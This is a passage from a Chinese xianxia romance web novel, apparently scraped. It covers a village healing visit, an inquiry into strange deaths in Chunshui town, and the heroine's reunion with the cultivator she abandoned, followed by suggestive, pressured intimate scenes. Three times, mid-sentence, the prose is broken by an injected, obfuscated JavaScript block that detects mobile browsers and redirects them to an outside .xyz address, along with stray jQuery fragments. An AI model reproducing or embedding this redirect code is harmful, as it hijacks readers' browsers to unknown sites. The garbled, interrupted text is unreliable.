宋清词没觉得有什么不能说的,把事情的来龙去脉一五一十地告诉了孟幼仪,说完她猛地起身,走到老妇人的身边,关心道:“您没事吧?”
老妇人捂着被刘德正绊到而受伤的双腿,神色颓然,向宋清词祈求道:“姑娘能都否帮我找位郎中,我家的老伴实在耽误不得。”
“我刚刚想自己去找的,但我的双腿受伤,暂时起不来,等我去找郎中估计要耽误许久。”
不等宋清词回答,跟着她走来的孟幼仪一口应下了,“都是小事,请郎中也没必要了,直接带我们去你家里吧,我会点医术,能治。”
巫桐弹了孟幼仪的脑门,“你问过宋小姐她们的意见吗?”
孟幼仪捂着脑袋吃痛出声,意识到他说的问题,眼巴巴地望着宋清词,显然看出来了她们三人之中做主的是她。
宋清词说,“这件事到后面是我们连累了您,既然这样,我们肯定要去的。”
老妇人眼泪纵横,想推脱的话终是咽在嘴边。
巫桐力气大,个子高,负责一路搀扶着老妇人,她引着几人去她家。
宋清词敛着神色,回忆着方才发生的事情,之所以改变主意是因为看到了孟幼仪她们到位置,被刘德正纠缠不出手就是算准了和出场的时机,如果她们不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248297|181594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来,她也有后手的准备,主要是赌一把,赌他们撞见自己收到刘德正欺负时,他们不会视若无睹。
从客栈中他们的对话,宋清词能大概擦猜测出他们大概的性格,至少是不会冷眼旁观的性格。
显然她现在赌赢了。
她不在乎孟幼仪一行人到底是谁,当时孟幼仪为什么不直接杀了刘德正,反而给他留下一条活路,凭着刚刚她的本领完全可以杀了他,她却没那么做,放任他逃走。
这些对她不重要。
她只想打好和孟幼仪的关系,再找个理由带她一起去刘地主家里。
宋清词眼皮子倏然一跳,等下,昨日在客栈里听孟幼仪她们说的话,她们是要去刘地主家没错,但刚刚她们打伤了他最疼爱的小儿子,那刘地主还会同意她们进去么?
算了,想来想去想得头疼,大不了找准时机偷偷溜进去。
他们走了约半个时辰才走到老妇人的家里,她家比较偏僻,是镇上的一处小村庄,相较于热闹的镇中心,村庄明显冷清不少。
村庄的入口出竖立着一块被磨得看不清字迹的石碑,进去的路坑坑洼洼的,一进村口就能瞧见抱着孩子坐在歪脖子树下歇息的妇人们,村庄里的房子都是低矮破旧的小土屋,墙壁用泥土堆砌而成,屋顶盖着脱皮的青灰色瓦片。
而老妇人领着他们进了村庄的最里处,一间普通到不能再普通的屋子,竹篱围着四四方方的小院,门外垂杨柳,被风刮过荡起一次又一次。
她们还没踏进院子,就听见院内响起道阵阵咳嗽声。
老妇人顾不上腿上的伤,赶忙走进院子里,推开茅屋的门,坐在床边,拍了拍床上人的后背,帮他顺着气。
“咳咳咳,不要管我了。”老人握拳放在嘴边咳嗽,上接不接下气,“安心照顾儿子就好了,活到这把岁数,也没几年可活的了。”
老妇人眼里噙泪,责怪道:“你说哪里的话?不就是一个小病,至于把你吓成这样?”
“赶紧呸呸呸掉!我已经为了请来医师帮你看看了。”
其他人见状也赶了过来。
宋清词一见老人就觉得分外眼熟,这不就是她在森林里遇上的那位吗?
赵燕茹也发现了,向她投去疑惑的目光。
宋清词轻轻晃了晃头,拽着赵燕茹的衣袖,不动声色地将她们藏在稍微暗一点的角落观察。
孟幼仪走出几人之中,到了床边。
“您是因什么而受伤的呢?”孟幼仪问当时发生的情况。
老人神色平静,“昨日归家之时,院子里多了个条蛇隐匿在暗处,老朽没注意到,一不小心就被咬了。”
“现在想想,那蛇估计有毒所以才会导致病成这样,吃了药也没用,想来这是老朽的命数,医师尽力而为就好。”
比起老妇人的悲痛欲绝,老人的态度稀疏平常,不像一个将死之人该有的。
孟幼仪问,“那您身体有哪些不适?”
老人回:“当时被蛇咬了身体无大碍,过了两个时辰起不了床,接着便咳嗽不断,严重会咳出血。”
孟幼仪若有所思地想了会儿,拿出一瓶丹药,“这药您暂且服下,服用三日后即可痊愈。”
“真的?”老妇人闻言惊喜万分,“真的多谢您了,多少银子?”
孟幼仪道:“我来这里不是为了银子,回答我几个问题就好啦。”
老妇人按下激动不已的心,带着床上的老人再次感谢孟幼仪,投去道谢的目光,“您尽管说,我们必把知道的都跟您说,绝无隐藏。”
“最近在椿水镇上有发现一些奇怪的事吗?”孟幼仪问。
老人想了想道:“有是有,但不知您说的奇怪是指那方面?”
13. 治病
孟幼仪说,“突然发生,没有任何的征兆,持续的时间可常可短,不符合常规的逻辑。”
老人恍然道:“您说的这些的确有,但……这时间可能持续的比较久,不知从什么时候开始椿水镇隔三差五就会有人意外出事,运气好的活下来了,运气差的没过多久就死掉了。”
“虽然发生意外再正常不过,死人也正常,可…这发生意外的人也太多了,比往年多了一倍有余,莫说椿水镇,连我们这小小的村庄上,离奇死去和发生意外的人也不少。”
“唉,现在镇上的人心慌慌,生怕哪天不小心自己被祸事找上门,更有传闻说是镇里有人做了不该做的事,触了上头的眉头,才会惹得老天发怒降下惩罚。”
老人说着连声叹息,摆明了不信其他人说的传闻,“哎呦,这哪里是老天降下的惩罚。”
孟幼仪听完老人的话,对这件事情心里大概有了底,“除了这个,还有其它的吗?”
“那我就不清楚了。”
“我知道了,”孟幼仪见说得差不多了,起身打算向他们告别。
宋清词站在一旁,正在琢磨着孟幼仪问的问题,瞥见老人若有若无落在自己身上的道炽热目光,此时饶是她想装作不认识都不行,于是主动站了出来。
她嘴角蔓延起一抹甜笑,杏眸转了转,轻声打招呼:“我就说越看越眼熟,原来是您呀,昨日真的多亏有您,不然我们现在还走不出森林。”
“想来我们有缘,”宋清词从腰间的袋子拿出丹药递给老人,言行举止间透露着亲密,不见一丝被人识破的尴尬,“这药是我昨日回去药馆买的,没来得及用,刚好可以给您留着,能加快伤口的恢复。”
末了,她见老人想推脱,补充道:“您帮了我太多,昨日给的东西实在贵重,这是我的一点心意,若您不收下,那我便要将东西还给您啦。”
老人这下收下。
他身边的老妇人踌躇不已,望向孟幼仪的眼神仿佛有话要说。
孟幼仪看出她的欲言又止,问道:“是有什么事?”
老妇人面露难色,“我家还有个伤了脚的儿子,不知姑娘能否也帮他看看?”
孟幼仪没说话,巫桐却拉了拉她的衣袖,她忽视他的阻止,“带我去看看吧。”
老妇人双眼放光,连连向孟幼仪道谢,带她去了隔壁的屋子。
现在只剩下他们几人,一下子不知道说什么。
最终是老人先出口打破了沉寂的宁静,他絮絮叨叨地和他们说了其它的事情。
他不相信镇上那些人所说的惹怒了上天才降下来的惩罚,以前他就修炼过修仙入门的基础。对于这种毫无根基的言论完全不相信,更偏向于有人在暗中动了手脚。
他们村上前不久有户人家成亲,那成亲的二人是青梅竹马,自幼一块长大,感情好是十里八乡有所见证的,男人脾气温和,极好说话,见了谁都是一副笑脸相迎的模样,和他成婚的女人有点小骄纵,人不坏。
就是这样的一对被众人看好的婚事。却在成婚当天闹出了极大的丑闻。
男人突然发狂直接拿把菜刀杀死了他的未婚妻,砸碎了屋内成亲放着的东西,甚至打伤了在场一些来参加的宾客,做完这一切,他才猛地反应出来自己做了什么,流着眼泪,疯癫大笑了起来,最后用那杀了未婚妻的菜刀,捅死了自己。
事情发生后传遍了他们村里。
得知这个消息的人无一不震惊。
宋清词的确有点诧异,试探问道:“会不会是那男人在外人面前装得好?”
老人摇了摇头,“绝无可能,有些事情是装不出来的,一些人哪怕在外人面前装的再好,他干的一些小事却会暴露出来。”
“这有什么不可能的?人往往比你想象的复杂许多。”一直没出声的赵燕茹不以为意,“人善变又复杂。”
宋清词被她的话吸引,悄悄多看了她几眼。
巫桐则和她们关注的重点不同,“那男方和女方的亲人对这件事是什么态度?”
“貌似……”老人回忆起来,他吃了药身体比刚刚恢复了不少,蹙着眉头道:“说来他们的态度的确奇怪,不太在意,当作没发生过。”
巫桐正想多问几句,却被孟幼仪打断了思路,她刚从隔壁的屋子里给老妇人的儿子看完病回来。
“你们在说什么?”
巫桐说:“没什么,他怎么样了?”
巫桐口中的“他”是谁不言而喻,孟幼仪道:“不致命,应该只是普通的小伤,养几天就好了。”
孟幼仪不是医修,对治病救人方面只能说略懂一二,不精通,没有专门学过,作为一介修士,看一些普通人的小病还是可以的。
老妇人又和老人小声交谈了几句,老人开口留他们留下吃饭。
宋清词拒绝的话在嘴边,却察觉衣袖被人拽了拽,是藏在她左侧的小月,小月将声音压得非常低,用只有她们两个人才能听到的声量道:“不要,我们快点回去好不好。”
“不用了。”宋清词和巫桐拒绝的话同时说出口,两个人都有些愣住,不约而同地对视一眼。随后挪开视线,她搭上小月的肩膀安抚她心神不宁的状态。
孟幼仪打圆场道:“我们稍后还有事,就不多叨扰了。”
她们态度强硬,老妇人突然小跑去了外面,老人不多挽留,只让她们等等。
正是在老妇人走的间隙,有位穿着粗布衣裳的男子出现跪在她们脚边,哭得上泣不成声,声音发哑干涩:“求求你们,救救我家的孩子吧。”
他碰巧要给老妇人一家送东西,结果在屋外听到了里面发生的事情,他便下定决心,豁出所有的一切来恳求她们救救自己的孩子。
方向是对着他们一行人磕的,但他向求的是谁,所有人都不言而喻。
宋清词静静定立,这件事情跟她没关系,打算见机行事,先观察孟幼仪的反应,想着目光转向孟幼仪,耳边却响起了赵燕茹的嘲讽声,“你倒是聪明,一张嘴就是让别人救你孩子。”
赵燕茹的话使双膝跪地的男人脸上一阵青一阵白,耐不住救人心切,顾不得脸面,当作没听见赵燕茹的话,厚着脸皮道:“姑娘,算我求您了,您要什么,但凡我有的都能给您,只要能救活我的孩子!”
赵燕茹先一步讥讽道:“你能什么?你能拿出来什么?”
简单直白的话让男人脸面挂不住,的确像赵燕茹所说的那样,他拿不出来什么东西。
孟幼仪又打圆场道:“没事,你先起来,我和你一起去看就是了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258248|181594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
巫桐不赞同地看了眼孟幼仪。
孟幼仪视若无睹,搀扶着男子站了起来。
赵燕茹没再出言反对,冷哼一声。
小月被突然开口说赵燕茹吓了一跳,加重了抱着宋清词的力度,宋清词只得安抚她,眉心轻佻,她的行为貌似更印证了自己内心的那个想法。
老妇人和老人许声同那男子相熟,不知是不好意思阻拦男子的请求还是没动那个心思。二人都没动作,眼睁睁看着他们一行人离去的背影。
那男子名叫牛铁柱,家中的小儿子前几日半夜身体发热,突发高烧,一连两日没退,第三日体温降下去了,没过三天又发起了高烧,反反复复,找了好几个大夫看都治不好。
他的身体受不住反反复复的高烧,已经被连续几日的高烧折磨得不成样子,再这样下去无疑面临的结果无非一个。
牛铁柱带他们来到不远处的茅草屋,屋子看上去比老妇人那处的要好些。
甬道铺着的青砖夹道长出许多的野草,小院内种着棵枣树,树上抽条的枝丫长出嫩绿的叶子。
牛铁柱急不可耐地领着他们去见了他儿子牛睿,牛睿通身的皮肤泛着红,躺在床上整个人只有一丁点儿的意识,连动一下都会觉得无比的困难。
“儿啊,别怕,爹给你请来了大夫,立马就能好。”牛贴柱握住牛睿缓缓伸出手,眼花在眼底打转,转头对孟幼仪道:“麻烦姑娘了。”
孟幼仪遵循例,问了一些牛睿吃的东西以及当天突发高烧的具体情况。
牛贴柱如实回答:“他是半夜突发的高烧,当天待在家里什么都没做,吃的东西是平常吃的饭,按道理来说不会无缘无故发烧。”
他想不明白为什么会突然发起了高烧,而且一连着好几日反反复复地复发,到最后形成要人命的病。
孟幼仪眉头一拧,同样觉得牛睿发的烧有些奇怪,喂他吃下一粒药丸。
药丸下肚,不出三炷香的时间,牛睿神志清明了些,总算恢复了正常的眼神。
刚清醒他就喊着牛铁柱,牛贴柱在那边回应着。
宋清词将这场景收入眼底,一样感觉有种说不上来的怪异,又想起了在老人哪里听到的传言,这些难道真的有关联?
那关联又在哪里?
宋清词没想通,就见孟幼仪向牛睿问了一些当天的事情,并叮嘱要如实说,不能撒谎。
牛睿怯怯地往后缩了缩,纠结再三说了那天的事。
与牛铁柱说的大致相同,有一点不同的是,他那日除了吃了家里的做的饭菜,趁着牛铁柱出门干活期间,偷偷跑去镇上玩了,吃了几块糕点。
“你带了钱?”孟幼仪问。
牛睿摇摇头:“别人请的。”
“你认识的人吗?”
“不认识的哥哥送的,他说心情好才请我吃的,我亲眼瞧着他在糕点铺里买了拿给我的。”
“那你记得他长什么样?”
“不记得了。”
之后牛睿偷溜着回了家,怕牛铁柱得知他吃了别人送的糕点生气,一直不敢告诉他。
吃块糕点就会生病发烧?
说出去未免太邪门了。
牛睿怕牛铁柱生气是一点,后者是第二点,没往那方面想。
14. [锁] [此章节已锁]
牛铁柱对牛睿恨铁不成钢,奈何他现在身体成这样了,不好发作,只得再三叮嘱牛睿。
“感谢您的救命之恩,”牛铁柱换了个语气,毕恭毕敬道:“大恩大德,永世难忘,如果不是您的帮忙,我家儿子恐怕要命丧黄泉,今日之事,如有需要,请尽情吩咐我。”
的确跟赵燕茹说的一样。
他没什么拿得出手的东西能被孟幼仪看上,索性就直接这样说了。
孟幼仪摆手,“没关系。”她问了先前问过老人一样的话,“你觉得最近有哪些奇怪的地方吗?”
牛铁柱说的话和老人说得差不多,从言语上看他和老人不同,他相信是惹怒了上天才降下惩罚的,而老人不信这套说辞。
“硬要说与往常相比奇怪的地方……”牛铁柱沉浸在回忆里,“不知是不是我的错觉,附近的森林里面的兽类少了许多,我之前去森林里打猎,时不时能抓到几只狐狸,现在竟连一只都没有了,可能不止狐狸,其它的也少了许多。”
“其它的我就没仔细观察了。”牛铁柱说。
孟幼仪得到了自己想要的消息,道了声谢,和其他人一起走了。
她们一行人走到村口前,孟幼仪对着宋清词几人道:“今日幸苦你们啦。”
宋清词一直在观察孟幼仪,谈不上幸苦不幸苦,她笑着说道:“哪里的话?多亏了孟小姐出手相助。”
“你们住哪里呀?”宋清词估摸这个时候差不多该分别了,真诚说道:“顺路的话还能再走一着,今日之事看得我属实惊讶,愈发敬佩不已,如果可以还想在跟你聊聊。”
赵燕茹微蹙着眉头,隐隐透着几分不耐烦,意识到宋清词想和孟幼仪拉近关心,明显有些不悦,抿唇不语。
巫桐离赵燕茹较近,看出来她拉着一张面,浑身透露着“不愿意,不想”这几个词。
他直来直去惯了,当着宋清词和孟幼仪的面直接说道:“她貌似不太愿意,我们就不要多强留。”
被巫桐这么一说。宋清词才注意到赵燕茹脸上的表情,的确挺明显的,就差没把她此刻的心情写出来了。
宋清词不好再找借口和她们在一起,只得作罢。
左右她们和自己住同一间客栈,到时候碰到还能说几句巧遇之类的客套话。
五个人正要就地分开。
赵燕茹突然说话了,解释道:“我不是那个意思。”
“我只是觉得这个地方……不太好。”赵燕茹说。
宋清词道:“不太好?”
赵燕茹坦然道:“对。在这里待的越久,我就越不舒服,所以想快点离开。”
孟幼仪对她的话来了兴致,“比如呢?”
巫桐不相信赵燕茹的说辞,伸手拦着孟幼仪的肩,想扼杀她升起的兴致,却被孟幼仪挪开肩膀上搁着的那只大手。
孟幼仪望向赵燕茹的眼底充满期待。
赵燕茹道:“说不来,具体没办法描述那种感觉,就是待得越久,浑身上下难受,感觉有种东西压着我喘不过气。”
多的赵燕茹不肯说,孟幼仪倒没失望,一路缠着沿着这个问题展开问她。
小月扯了扯宋清词的休息,小声问宋清词道:“为什么赵姐姐会觉得不舒服呀?”
宋清词摆手,她也不知道。
“可能她和这地方天生合不来吧。”宋清词随口一说。
小月“哦”了一声,继续小声道:“但问觉得这里挺舒服的呀。”
宋清词摸了摸她的头,“人和人是不一样的,你待在一个地方舒服,并不代表别人待在那里也舒服。”
小月似懂非懂,对宋清词说的话一知半解。
巫桐走在最前头,她们在跟在屁股后面,一路沿着他走的方向走。
孟幼仪大约看出赵燕茹被她缠的实在不耐烦了,又凑到宋清词的身边,左顾右盼,她管不住这张嘴,悄咪咪道:“我和你讲个事,你千万千万别和别人说,记住了嗷。”
宋清词饶有兴趣地凑近了听她说。
“我有个大师兄,不久前第一次出门就被一名女子骗了。”
“你说好不好笑,我大师兄未经人事。几乎从不出门,对男女之事更是一窍不通,没成想第一次出门就被女子骗了。”
“他被那名女子耍的团团转,说什么都信,听我师父说……”
宋清词竖起耳朵听孟幼仪讲的后续,“他还把类似于传家宝的东西送给了那女子,没曾想东西刚送送出去。前脚私定终生,后脚那女子跑了,我大师兄还傻乎乎地在哪里等了许久,到最后才知道自己被耍了。”
“倒霉催的。”宋清词评价,心道孟幼仪的大师兄也太蠢了些,被人戏耍成这样,“那后来呢?”
“后来?”孟幼仪顿了顿道,“后来大师兄回来了,整个人看上去挺失魂落魄的,不过要是我,若有人这样耍我,我肯定找遍天涯海角都要将那人找出来,不大卸八块,碎尸万段,难解我心头之恨。”
她后面说的话不由拔高了音量,走到前头的巫桐听见了,立刻走过来,将她揪了出来,“林师兄不是说过不要议论大师兄的私事吗?亏你之前还阻止邱师弟。”
孟幼仪吐了吐舌头,不满道:“说了又怎样,不说又怎样,反正大师兄的事整个山上谁不知道?多一个不多。少一个不少,你说是吧?”
宋清词领悟了孟幼仪的意思,颔首附和道:“她说的对。”
“你们是准备去哪里?”宋清词问。
巫桐道:“满风客栈。”
宋清词道:“那巧了,我们也在哪里诶。”
孟幼仪刚要说话,就被巫桐拉了过去,巫桐生怕她再说出些什么不该说的,急忙道:“我们还有事,就先不一同走了。”
宋清词没点破,“那再见。”
“再见。”
宋清词注视着他们离开的背影,准备顺着原路线回客栈,一扭头发现小月拉着赵燕茹的手去了别的店铺买东西。
宋清词走上前,分了一些钱给赵燕茹,“你带着小月拿这钱逛逛吧,我先回客栈歇会儿。”
今天她真的有点累了,没到修真界前,她还是个低精力人群。
回客栈休息顺便检查一下她放的那些东西。
宋清词独自回了客栈,前脚刚迈进客栈,远远望去里面有道熟悉的人影。
她不确定地往前走了几步,瞧清来人的面容时,怔怔地定立原地,脑袋变得一片空白,旋即转身要离开。
却被那人叫住。
“你不打算给我一个解释吗?”
身着鸦青色长袍的青年腾地起身,郎眉星眸。鬓发乌黑如漆,多日不见身形消瘦了不少,他紧抿着薄唇,那双犹如深潭的黑眸一动不动地望着她,语气带着几分委屈道:“你又准备像上次那样丢下我?”
宋清词真的八辈子没这么倒霉过,面前的人不是徐绪笙还能是谁?
怪不得总觉得孟幼仪和巫桐身上穿的衣服眼熟,会在弟子服上绣莲花图纹的除了昆仑山,又能是哪个宗门?
既然如此,那孟幼仪口中的十有八九是徐绪笙,而她自然而然成了哪个欺骗大师兄薄情寡义的女子了。
宋清词不吭声,在脑海里疯狂想应对之策。
可惜没等她想出个办法来。
脑海里哪道熟悉的冰冷机器音提前一步响起。
【面对徐绪笙字字诛心的控诉,你直接堵住了他那张红润饱满的唇,粗暴地入侵他的唇间,攻略对面的一座座城池。】
【直至地上的痕迹越来越多,他不满的哼了哼,你顺势将徐绪笙压倒在榻上,手指慢条斯理地逗弄着玩具,戏谑道:“像你这种欲擒故纵的男人我见多了。”】
机器声像是在发泄自己的心中的不满,一股气连吐了好几段剧情出来,如果不是后面想说的话戛然而止,恐怕她接下来要面对的不止这些。
宋清词大抵猜到了系统为什么会对她不满,可发生这样的情况并非她本意,她不过借着这次机会给自己放了几天假而已。
有什么错!!!
系统吐出的那几段剧情简直让她头皮发麻,宋清词迎着徐绪笙控诉的眼神,终于瞥憋不住,“上次的事我不是故意的。”
“当时太着急,忘记给你留纸条了。”宋清词长长的睫毛如蝉翼般微颤,杏眸湿润,秀挺的鼻子染上了红,愧疚道:“对不起,我真的不是故意的,早知道你找不到我会那么着急,当初说什么我也会给你留张纸条再走。”
她说话时看着徐绪笙,眼神无比真挚,她懊悔地捶了下脑袋,再次向他道歉:“对不起。”
宋清词一次又一次道歉,徐绪笙喉结滚动,不忍直视,连忙道:“没…没关系,这件事情我也有错,不应该离开你。”
她轻轻“嗯”了声,杏眸转动,不经意张望四周,确认不会被人看见后,对徐绪笙小声嘟囔道:“能不能低下头,我有话对你说,怕被别人听了去。”
徐绪笙按照她说的低下了头,宋清词迅速亲了上去,像一片羽毛轻轻飘到了他的唇上。
她心下一动,撬开了徐绪笙的齿间,舌尖有意无意地描绘着某个形状,唇舌交缠之中,她没有类似的经验,技术显得格外生疏。
没过一会儿,宋清词结束了这场攻略城池的斗争。
不给徐绪笙任何反应的机会。
徐绪笙脑子“嗡”的一声,神情茫然了片刻,而刚刚踏进客栈门口的孟幼仪和巫桐二人全愣住了。
宋
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258249|181594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
清词表情一僵,她明明确认过的,谁能告诉她,门口的那两个人又是什么时候到的?
孟幼仪张了张嘴,半天没说出话来,脸上的震惊之色不言而喻。
巫桐几乎是下意识脱口而出道:“你就是甩掉大师兄的那个女子?”
宋清词尴尬的想扣脚趾,她很少碰上这么尴尬的场面,何况在路上孟幼仪和她说了那女子多么可恶,而她大师兄多么纯情。
结果一转眼她成了传遍昆仑山的那个欺骗了纯情大师兄的渣女。
徐绪笙眉头微皱,看向巫桐不悦道:“道歉。”
巫桐不理解:“为什么道歉?”
徐绪笙重复说了一遍,“为你刚刚说的那句话向宋小姐道歉。”
“对不起。”巫桐道歉的速度很快,意识到自己方才话中的不妥,“我不应该那么说的,这是你和大师兄二人的事,轮不到我们来说。”
“下次不会再发生这样的情况了。”巫桐在最后补充似地扔下了这一句话,像在对自己说,又像在对宋清词说的。
得了巫桐的保证,徐绪笙这才松开拧着的眉头。
宋清词脑子一瞬间宕机片刻,听到邱舒说的,无所谓地摆手,她对这些事情不在意,目前最重要的是结束了这段剧情。
宋清词只完成了第一段剧情,脑海里的机器声一直滴滴滴地响,她忽然腿脚发软,猝不及防地摔倒在地上。
徐绪笙见状来不及思考太多,急忙抱着她去楼上的房间歇息。
房门被缓缓关上,宋清词睁开了双眼,看见徐绪笙坐在床边,满脸担忧的看着她。
“可有不适的地方?”徐绪笙问道。
宋清词垂头,轻声道:“无碍,让我起来。”
徐绪笙不明白宋清词为什么硬要起来,疑惑重复道:“现在?”
宋清词道:“对,有事要办。”
见宋清词态度强硬,徐绪笙拗不过她,只得侧身给她让出道来。
却没想到宋清词要办的事是他。
他刚让开,被宋清词抵在榻边。
宋清词此时说不上什么心情,客栈一楼的那次接吻纯属机器音吵得她脑袋快要爆炸了,一时间突然色心大发,秉持着做都做了的原则。
有了前面的哪出失了分寸的举动,她如今下手的顾虑没显然之前那么多了。
宋清词轻轻解开徐绪笙的衣带,露出半截结实的肩膀,他的肌肤细腻白皙。
她望着眼前若隐若现的锁骨,鬼使神差见地咬了一口,一口下去,没控制好力度,耳边传来粗旷的闷哼声。
“轻点。”徐绪笙轻轻说道,加重了呼吸,放纵着宋清词胡来。
宋清词伸手探进鸦青色长袍里,慢慢向下移,摸到了紧致有力的腹肌,她头次摸到这种东西,求知欲上来了,捏了一下,像找到了新的玩具。
徐绪笙漆黑纤长的睫毛轻轻颤动,按住她那双在自己身上胡作非为的手,声如温玉道:“到此为止吧,再这样下去,我会忍不住的。”
他停顿了一下,“而且,你心里没有对我负责的打算。”
被当面点破的宋清词没有丝毫的紧张,不但不收回手,反而更加得寸近尺,捏着徐绪笙的下巴,哂笑道:“谁说的?”
“我像那种用完就跑的渣女吗?”
有时候宋清词真的怀疑徐绪笙在吊着她,真忍不住为什么最开始不阻止?非要在这种明知刹不住车的时候停下。
但宋清词转念一想,真的会有这种人吗?如果有,那自制力未免太强的可怕了。
而且孟幼仪说过徐绪笙对男女之事一窍不通,懵懵懂懂的,不太可能。
由此便打消了这个念头。
徐绪笙幽幽地看着她,抿着唇一言不发。
此时的无声胜有声。
摆明了不相信她说的话。
宋清词睁眼说瞎话,张嘴向徐绪笙发誓:“我不会那么做,再给我一次机会。”
两人目光对视中,终究是徐绪笙败下阵来,松开了防备的那双手。
【——哔哔哔哔哔哔哔哔哔哔哔哔哔哔哔……】
系统等的不耐烦,催着她赶快做完任务。
宋清词加快了手上的动作,不知从哪里掏出了颗葡萄,抵在徐绪笙胸前。
阵阵冰冷的凉意在他那里蔓延开,一股巨大的羞耻感扑面而来,徐绪笙额头沁出了一层汗珠,握住了宋清词的手腕,湿漉漉地眼睛注视着她,祈求道:“别……别这样,能不能不用它?”
宋清词更用力地按住了葡萄,唇角勾出好看的弧度,说出来的话却分外残忍,带着不容抗拒的语气道:“不行,如果这点刺激都承受不住,以后怎么和我站在一起?乖,再忍忍,马上就好了。”
15. 商讨
徐绪笙想拒绝宋清词,可话在嘴边。却怎么都无法说出口,只得眼睁睁看着宋清词为所欲为。
她脸上露出一抹狡猾的笑。
随着面前之人的力度加重,葡萄变得有些软了,黏糊糊的汁水顺着他胸前的肌肉一路淌下。
粘哒哒的触感让徐绪笙很不舒服。
他想要起身去找帕子擦拭干净,却被腰间那道环着的双手束缚住。
“你先放开。”徐绪笙好生好气同宋清词说道。
宋清词声音软软的,撒娇道:“不,不想放开。”
她将脸埋在徐绪笙宽阔的后背,“真的要这么结束了?”
“不是结束,我需要擦干净。”徐绪笙强调说。
宋清词理直气壮道:“都一样,没区别。”
徐绪笙强扭不过宋清词,索性放弃了,再讨论下去,结果都一样。
宋清词亲了亲强忍着不适的徐绪笙,没继续用那颗捏烂的葡萄来折腾他。
葡萄被她用帕子报住随意扔在了地上。
徐绪笙问:“你有帕子?”
“没有没有。”宋清词遮住他的视线,企图用这种方式蒙混过关。
她差点忘记了,主要是葡萄没包住丢在地上麻烦。
宋清词趁着徐绪笙视线迷糊之际,撬开了他的唇,快速塞了一颗新的葡萄进去。
“嚼。”
徐绪笙按照她的指令去做。
虽然不知道是什么被塞了进去,但徐绪笙大致能猜到,葡萄有点硬,咬破的瞬间汁水在嘴里爆发出来。
葡萄的味道是酸的。
一点都不甜。
宋清词强迫着他吞进去,哄道:“好孩子。”
不知过了多久。
徐绪笙的羞耻心涌上心头。
命脉被人死死捏住,触感放大了十倍不止,徐绪笙呼吸不由一滞,她无意间的小动作都会令他产生异样的感觉。
微微隆起的青色血管暴露在空气中,清晰可见,犹如蚯蚓般爬行,蜿蜒曲折,有些面目狰狞,但总体上是好看的。
它能传达给他最直接的反应。
他就像一座高耸入云又巍峨壮阔的山峰,有无数的攀登者因崇拜它,被其吸引所,慕名前来挑战。
爬山的过程总是很幸苦的,不仅需要勇气,又需要耐心。
起初,她从山的最底层缓缓爬上前,最容易被攻略的是根部,不用耗费丝毫的力气,只要稍稍站在哪里,它就会被攻陷。
对于攀登者来说,这无非太简单了,轻轻一用力,就能蹬地一下上去。
那么对于山而言则截然不同,根部是支撑它形成发展的基础,同样是它最脆弱敏感的地方。每次被攀登时,在不为人知的角落,它总会发出阵阵的抽泣声。
渐渐的,她爬到了半山腰,半山腰代表攀登的任务完成了一半,它是最容易放弃的时期,亦是最容易坚持的时期,只要继续坚持登上顶部,攀登者就能赢。
然而,山也是有脾气的,它不愿就这么轻易被外来者入侵,所以,它比原先的体量大了一倍。
攀登者望着面前重振旗鼓又气势雄武的山沉默。
山并没有登顶,她怎肯就此放弃?
她必须找到山的弱点。
于是,她卯足了劲不停地向上攀岩,山似乎被她这股子不服输的劲所震惊到了,掀起一阵狂潮席卷整个山峰。
越是这样,越让她想要登上顶峰,她不想成为那个输家,比先前的速度更快,甚至和山比速度。
直到落下一场狂风暴雨。
她知道,她赢了,并且赢得彻底。
没有那座山能比今天这座山更能激发她的征服欲。
再次睁眼是第二天早晨。
宋清词先醒了,一推开门险些被站在门前的人吓一跳。
“你不会在一宿没睡吧?”宋清词迟疑地开口,孟幼仪眼底一片乌青,瞧着就不像睡好了的样子。
孟幼仪摇了摇头,“不,醒的比较早而已,别管那些了,你和大师兄的关系是昨天看到的那样吗?”
这话孟幼仪说得十分不确定,昨天夜里她翻来覆去地琢磨这件事情,毕竟徐绪笙的事带给她的的确震撼,没想到昨天又能亲眼目睹。
“是。”宋清词大方承认了,反正她没问什么关系,下次含糊过去也可以。
宋清词换了个话题,去掉了天剑宗和谢鹤之,向孟幼仪直接道明了自己之所以会来到椿水镇的原因,暗戳戳点明刘地主家里有传送阵以及她想借助这个传送阵回去的事。
“那你可以和我们一起行动。”孟幼仪主动提出了建议,解释道:“大师兄应该会同意的,不过最好分成两拨人,毕竟我们一行人一起去的话人有点多,怕被他察觉。”
宋清词觉得孟幼仪说得有道理,于是和她一起再商量如何分成两拨人,从她口中得知了一些关于他们下山的目的。
